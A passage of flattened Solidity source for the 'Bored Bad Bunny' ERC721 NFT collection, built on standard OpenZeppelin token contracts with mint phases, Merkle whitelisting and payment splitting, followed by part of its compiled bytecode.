token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/BoredBadBunny.sol pragma solidity ^0.8.4; contract BoredBadBunny is ERC721Enumerable, Ownable, PaymentSplitter { using Strings for uint256; using Counters for Counters.Counter; uint256 public maxSupply = 11111; uint256 public maxSupplyWithFreeMint = 15111; uint256 public totalNFT; string public baseURI; string public notRevealedUri; string public baseExtension = ".json"; bool public isBurnEnabled = false; bool public revealed = false; bool public paused = false; bool public freeMintState = false; bool public presaleState = false; bool public publicState = false; mapping(address => uint256) public _nftMinted; mapping(address => uint256) public _freeMintClaimed; uint256 _price = 400000000000000000; //0.4 ETH bytes32 public freeMintRoot; Counters.Counter private _tokenIds; uint256[] private _teamShares = [26, 4, 15, 15, 15, 15, 10]; address[] private _team = [ 0x27688581c2030B882170b981A1e5878646726BBe, 0xb46A079528A40bD900f730295c7D95e9f49f9b04, 0x16A7A69cDE1a06375Dc10cE32b61edF5Ec45e965, 0x750256AbdA0577040E37b1E10C7F24CcaAD1fbde, 0xeE6752Ec7a4017229D7757154563062849a1DFE1, 0xf2647e7B6ca208AD764e7Ce8A46Df64D4149cEb7, 0x24C4D2DE1F1A3973e1701c94662Fc9521477c376 ]; constructor() ERC721("Bored Bad Bunny", "BBB") PaymentSplitter(_team, _teamShares) {} function changePauseState() public onlyOwner { paused = !paused; } function changeFreeMintState() public onlyOwner { freeMintState = !freeMintState; } function changePresaleState() public onlyOwner { presaleState = !presaleState; } function changePublicState() public onlyOwner { publicState = !publicState; } function setBaseURI(string calldata _tokenBaseURI) external onlyOwner { baseURI = _tokenBaseURI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function reveal() public onlyOwner { revealed = true; } function setIsBurnEnabled(bool _isBurnEnabled) external onlyOwner { isBurnEnabled = _isBurnEnabled; } function giftMint(address[] calldata _addresses) external onlyOwner { require( totalNFT + _addresses.length <= maxSupply, "Bored Bad Bunny: max total supply exceeded" ); uint256 _newItemId; for (uint256 ind = 0; ind < _addresses.length; ind++) { require( _addresses[ind] != address(0), "Bored Bad Bunny: recepient is the null address" ); _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(_addresses[ind], _newItemId); totalNFT = totalNFT + 1; } } function freeMint(uint256 _amount, bytes32[] memory proof) external payable { require(freeMintState, "Bored Bad Bunny: FreeMint is OFF"); require(!paused, "Bored Bad Bunny: contract is paused"); require( _amount <= 1, "Bored Bad Bunny: You can't mint so much tokens" ); require( _freeMintClaimed[msg.sender] + _amount <= 1, "Bored Bad Bunny: You can't mint so much tokens" ); require(verifyFreeMint(msg.sender, proof), "Bored Bad Bunny: You are not selected for the free mint"); require( totalNFT + _amount <= maxSupplyWithFreeMint, "Bored Bad Bunny: max supply exceeded" ); uint256 _newItemId; for (uint256 ind = 0; ind < _amount; ind++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(msg.sender, _newItemId); _freeMintClaimed[msg.sender] = _freeMintClaimed[msg.sender] + 1; totalNFT = totalNFT + 1; } } function presaleMint(uint256 _amount) external payable { require(presaleState, "Bored Bad Bunny: Presale is OFF"); require(!paused, "Bored Bad Bunny: contract is paused"); require( _amount <= 4, "Bored Bad Bunny: You can't mint so much tokens" ); require( _nftMinted[msg.sender] + _amount <= 4, "Bored Bad Bunny: You can't mint so much tokens"); require( totalNFT + _amount <= maxSupply, "Bored Bad Bunny: max supply exceeded" ); require( _price * _amount <= msg.value, "Bored Bad Bunny: Ether value sent is not correct" ); uint256 _newItemId; for (uint256 ind = 0; ind < _amount; ind++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(msg.sender, _newItemId); _nftMinted[msg.sender] = _nftMinted[msg.sender] + 1; totalNFT = totalNFT + 1; } } function publicMint(uint256 _amount) external payable { require(publicState, "Bored Bad Bunny: Public is OFF"); require(_amount > 0, "Bored Bad Bunny: zero amount"); require( totalNFT + _amount <= maxSupply, "Bored Bad Bunny: max supply exceeded" ); require( _price * _amount <= msg.value, "Bored Bad Bunny: Ether value sent is not correct" ); require(!paused, "Bored Bad Bunny: contract is paused"); uint256 _newItemId; for (uint256 ind = 0; ind < _amount; ind++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(msg.sender, _newItemId); totalNFT = totalNFT + 1; } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function changeTotalSupply(uint256 _newSupply) public onlyOwner { maxSupply = _newSupply; } function changeMaxSupplyWithFreeMint(uint256 _newSupply) public onlyOwner { maxSupplyWithFreeMint = _newSupply; } function changefreeMintRoot(bytes32 _freeMintRoot) public onlyOwner { freeMintRoot = _freeMintRoot; } function burn(uint256 tokenId) external { require(isBurnEnabled, "Bored Bad Bunny : burning disabled"); require( _isApprovedOrOwner(msg.sender, tokenId), "Bored Bad Bunny : burn caller is not owner nor approved" ); _burn(tokenId); totalNFT = totalNFT - 1; } function verifyFreeMint(address account, bytes32[] memory proof) internal view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(account)); return MerkleProof.verify(proof, freeMintRoot, leaf); } }
0x60806040526004361061039a5760003560e01c80636e0e5b19116101dc578063b88d4fde11610102578063d5abeb01116100a0578063e33b7de31161006f578063e33b7de314610ad3578063e985e9c514610ae8578063f2c4ce1e14610b31578063f2fde38b14610b5157600080fd5b8063d5abeb0114610a54578063d79779b214610a6a578063da3ef23f14610aa0578063e2f36dce14610ac057600080fd5b8063c9b298f1116100dc578063c9b298f1146109e0578063ce7c2ac2146109f3578063d082a3f714610a29578063d589a4ef14610a3e57600080fd5b8063b88d4fde1461098b578063c6682862146109ab578063c87b56dd146109c057600080fd5b80639852595c1161017a578063a5fd7bec11610149578063a5fd7bec14610905578063a886c37714610925578063abfe76141461093b578063b5caab2f1461095e57600080fd5b80639852595c1461087a578063a22cb465146108b0578063a475b5dd146108d0578063a4828889146108e557600080fd5b80637f1e3711116101b65780637f1e3711146107fa5780638b83209b146108275780638da5cb5b1461084757806395d89b411461086557600080fd5b80636e0e5b19146107a557806370a08231146107c5578063715018a6146107e557600080fd5b80633a98ef39116102c1578063518302271161025f5780635c975abb1161022e5780635c975abb1461073b57806360e5bb851461075b5780636352211e146107705780636c0360eb1461079057600080fd5b806351830227146106bc57806351f38bb8146106db57806352e97326146106fb57806355f804b31461071b57600080fd5b806342966c681161029b57806342966c681461064757806346e79ffc1461066757806348b750441461067c5780634f6ccce71461069c57600080fd5b80633a98ef39146105cc578063406072a9146105e157806342842e0e1461062757600080fd5b80630d0c31b7116103395780632d773242116103085780632d773242146105635780632db11544146105785780632f745c591461058b5780633169ce40146105ab57600080fd5b80630d0c31b7146104ec57806318160ddd1461050e578063191655871461052357806323b872dd1461054357600080fd5b806307ebec271161037557806307ebec2714610463578063081812fc1461047d578063081c8c44146104b5578063095ea7b3146104ca57600080fd5b8062456379146103e857806301ffc9a71461041157806306fdde031461044157600080fd5b366103e3577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b3480156103f457600080fd5b506103fe60145481565b6040519081526020015b60405180910390f35b34801561041d57600080fd5b5061043161042c366004613605565b610b71565b6040519015158152602001610408565b34801561044d57600080fd5b50610456610b9c565b6040516104089190613903565b34801561046f57600080fd5b506018546104319060ff1681565b34801561048957600080fd5b5061049d6104983660046135ed565b610c2e565b6040516001600160a01b039091168152602001610408565b3480156104c157600080fd5b50610456610cc8565b3480156104d657600080fd5b506104ea6104e536600461351a565b610d56565b005b3480156104f857600080fd5b5060185461043190640100000000900460ff1681565b34801561051a57600080fd5b506008546103fe565b34801561052f57600080fd5b506104ea61053e3660046133dc565b610e6c565b34801561054f57600080fd5b506104ea61055e366004613430565b610f9a565b34801561056f57600080fd5b506104ea610fcb565b6104ea6105863660046135ed565b611016565b34801561059757600080fd5b506103fe6105a636600461351a565b611192565b3480156105b757600080fd5b50601854610431906301000000900460ff1681565b3480156105d857600080fd5b50600b546103fe565b3480156105ed57600080fd5b506103fe6105fc36600461363d565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b34801561063357600080fd5b506104ea610642366004613430565b611228565b34801561065357600080fd5b506104ea6106623660046135ed565b611243565b34801561067357600080fd5b506104ea61133a565b34801561068857600080fd5b506104ea61069736600461363d565b611383565b3480156106a857600080fd5b506103fe6106b73660046135ed565b61156b565b3480156106c857600080fd5b5060185461043190610100900460ff1681565b3480156106e757600080fd5b506104ea6106f63660046135ed565b61160c565b34801561070757600080fd5b506104ea6107163660046135ed565b61163b565b34801561072757600080fd5b506104ea61073636600461364f565b61166a565b34801561074757600080fd5b506018546104319062010000900460ff1681565b34801561076757600080fd5b506104ea6116a0565b34801561077c57600080fd5b5061049d61078b3660046135ed565b6116ef565b34801561079c57600080fd5b50610456611766565b3480156107b157600080fd5b506104ea6107c03660046135b5565b611773565b3480156107d157600080fd5b506103fe6107e03660046133dc565b6117b0565b3480156107f157600080fd5b506104ea611837565b34801561080657600080fd5b506103fe6108153660046133dc565b60196020526000908152604090205481565b34801561083357600080fd5b5061049d6108423660046135ed565b61186d565b34801561085357600080fd5b50600a546001600160a01b031661049d565b34801561087157600080fd5b506104566118ab565b34801561088657600080fd5b506103fe6108953660046133dc565b6001600160a01b03166000908152600e602052604090205490565b3480156108bc57600080fd5b506104ea6108cb3660046134ed565b6118ba565b3480156108dc57600080fd5b506104ea6118c9565b3480156108f157600080fd5b506104ea6109003660046135ed565b611904565b34801561091157600080fd5b506104ea610920366004613545565b611933565b34801561093157600080fd5b506103fe601c5481565b34801561094757600080fd5b506018546104319065010000000000900460ff1681565b34801561096a57600080fd5b506103fe6109793660046133dc565b601a6020526000908152604090205481565b34801561099757600080fd5b506104ea6109a6366004613470565b611afa565b3480156109b757600080fd5b50610456611b2c565b3480156109cc57600080fd5b506104566109db3660046135ed565b611b39565b6104ea6109ee3660046135ed565b611cb8565b3480156109ff57600080fd5b506103fe610a0e3660046133dc565b6001600160a01b03166000908152600d602052604090205490565b348015610a3557600080fd5b506104ea611e6b565b348015610a4a57600080fd5b506103fe60135481565b348015610a6057600080fd5b506103fe60125481565b348015610a7657600080fd5b506103fe610a853660046133dc565b6001600160a01b031660009081526010602052604090205490565b348015610aac57600080fd5b506104ea610abb3660046136aa565b611eb8565b6104ea610ace366004613708565b611ef5565b348015610adf57600080fd5b50600c546103fe565b348015610af457600080fd5b50610431610b033660046133f8565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b348015610b3d57600080fd5b506104ea610b4c3660046136aa565b6120f6565b348015610b5d57600080fd5b506104ea610b6c3660046133dc565b612133565b60006001600160e01b0319821663780e9d6360e01b1480610b965750610b96826121ce565b92915050565b606060008054610bab90613c63565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd790613c63565b8015610c245780601f10610bf957610100808354040283529160200191610c24565b820191906000526020600020905b815481529060010190602001808311610c0757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610cac5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60168054610cd590613c63565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0190613c63565b8015610d4e5780601f10610d2357610100808354040283529160200191610d4e565b820191906000526020600020905b815481529060010190602001808311610d3157829003601f168201915b505050505081565b6000610d61826116ef565b9050806001600160a01b0316836001600160a01b03161415610dcf5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610ca3565b336001600160a01b0382161480610deb5750610deb8133610b03565b610e5d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610ca3565b610e67838361221e565b505050565b6001600160a01b0381166000908152600d6020526040902054610ea15760405162461bcd60e51b8152600401610ca3906139fa565b6000610eac600c5490565b610eb69047613bd5565b90506000610ee38383610ede866001600160a01b03166000908152600e602052604090205490565b61228c565b905080610f025760405162461bcd60e51b8152600401610ca390613a90565b6001600160a01b0383166000908152600e602052604081208054839290610f2a908490613bd5565b9250508190555080600c6000828254610f439190613bd5565b90915550610f53905083826122d2565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b610fa433826123eb565b610fc05760405162461bcd60e51b8152600401610ca390613b53565b610e678383836124e1565b600a546001600160a01b03163314610ff55760405162461bcd60e51b8152600401610ca390613adb565b6018805463ff00000019811663010000009182900460ff1615909102179055565b60185465010000000000900460ff166110715760405162461bcd60e51b815260206004820152601e60248201527f426f726564204261642042756e6e793a205075626c6963206973204f464600006044820152606401610ca3565b600081116110c15760405162461bcd60e51b815260206004820152601c60248201527f426f726564204261642042756e6e793a207a65726f20616d6f756e74000000006044820152606401610ca3565b601254816014546110d29190613bd5565b11156110f05760405162461bcd60e51b8152600401610ca3906139b6565b3481601b546110ff9190613c01565b111561111d5760405162461bcd60e51b8152600401610ca390613a40565b60185462010000900460ff16156111465760405162461bcd60e51b8152600401610ca390613b10565b6000805b82811015610e6757611160601d80546001019055565b601d54915061116f338361268c565b60145461117d906001613bd5565b6014558061118a81613c9e565b91505061114a565b600061119d836117b0565b82106111ff5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610ca3565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b610e6783838360405180602001604052806000815250611afa565b60185460ff166112a05760405162461bcd60e51b815260206004820152602260248201527f426f726564204261642042756e6e79203a206275726e696e672064697361626c604482015261195960f21b6064820152608401610ca3565b6112aa33826123eb565b61131c5760405162461bcd60e51b815260206004820152603760248201527f426f726564204261642042756e6e79203a206275726e2063616c6c657220697360448201527f206e6f74206f776e6572206e6f7220617070726f7665640000000000000000006064820152608401610ca3565b611325816126a6565b60016014546113349190613c20565b60145550565b600a546001600160a01b031633146113645760405162461bcd60e51b8152600401610ca390613adb565b6018805462ff0000198116620100009182900460ff1615909102179055565b6001600160a01b0381166000908152600d60205260409020546113b85760405162461bcd60e51b8152600401610ca3906139fa565b6001600160a01b0382166000908152601060205260408120546040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561141057600080fd5b505afa158015611424573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144891906136f0565b6114529190613bd5565b9050600061148b8383610ede87876001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b9050806114aa5760405162461bcd60e51b8152600401610ca390613a90565b6001600160a01b038085166000908152601160209081526040808320938716835292905290812080548392906114e1908490613bd5565b90915550506001600160a01b0384166000908152601060205260408120805483929061150e908490613bd5565b9091555061151f905084848361274d565b604080516001600160a01b038581168252602082018490528616917f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a910160405180910390a250505050565b600061157660085490565b82106115d95760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610ca3565b600882815481106115fa57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b031633146116365760405162461bcd60e51b8152600401610ca390613adb565b601c55565b600a546001600160a01b031633146116655760405162461bcd60e51b8152600401610ca390613adb565b601255565b600a546001600160a01b031633146116945760405162461bcd60e51b8152600401610ca390613adb565b610e6760158383613277565b600a546001600160a01b031633146116ca5760405162461bcd60e51b8152600401610ca390613adb565b6018805465ff0000000000198116650100000000009182900460ff1615909102179055565b6000818152600260205260408120546001600160a01b031680610b965760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610ca3565b60158054610cd590613c63565b600a546001600160a01b0316331461179d5760405162461bcd60e51b8152600401610ca390613adb565b6018805460ff1916911515919091179055565b60006001600160a01b03821661181b5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610ca3565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146118615760405162461bcd60e51b8152600401610ca390613adb565b61186b600061279f565b565b6000600f828154811061189057634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b606060018054610bab90613c63565b6118c53383836127f1565b5050565b600a546001600160a01b031633146118f35760405162461bcd60e51b8152600401610ca390613adb565b6018805461ff001916610100179055565b600a546001600160a01b0316331461192e5760405162461bcd60e51b8152600401610ca390613adb565b601355565b600a546001600160a01b0316331461195d5760405162461bcd60e51b8152600401610ca390613adb565b60125460145461196e908390613bd5565b11156119cf5760405162461bcd60e51b815260206004820152602a60248201527f426f726564204261642042756e6e793a206d617820746f74616c20737570706c6044820152691e48195e18d95959195960b21b6064820152608401610ca3565b6000805b82811015611af45760008484838181106119fd57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190611a1291906133dc565b6001600160a01b03161415611a805760405162461bcd60e51b815260206004820152602e60248201527f426f726564204261642042756e6e793a20726563657069656e7420697320746860448201526d65206e756c6c206164647265737360901b6064820152608401610ca3565b611a8e601d80546001019055565b601d549150611ad1848483818110611ab657634e487b7160e01b600052603260045260246000fd5b9050602002016020810190611acb91906133dc565b8361268c565b601454611adf906001613bd5565b60145580611aec81613c9e565b9150506119d3565b50505050565b611b0433836123eb565b611b205760405162461bcd60e51b8152600401610ca390613b53565b611af4848484846128c0565b60178054610cd590613c63565b6000818152600260205260409020546060906001600160a01b0316611bb85760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f7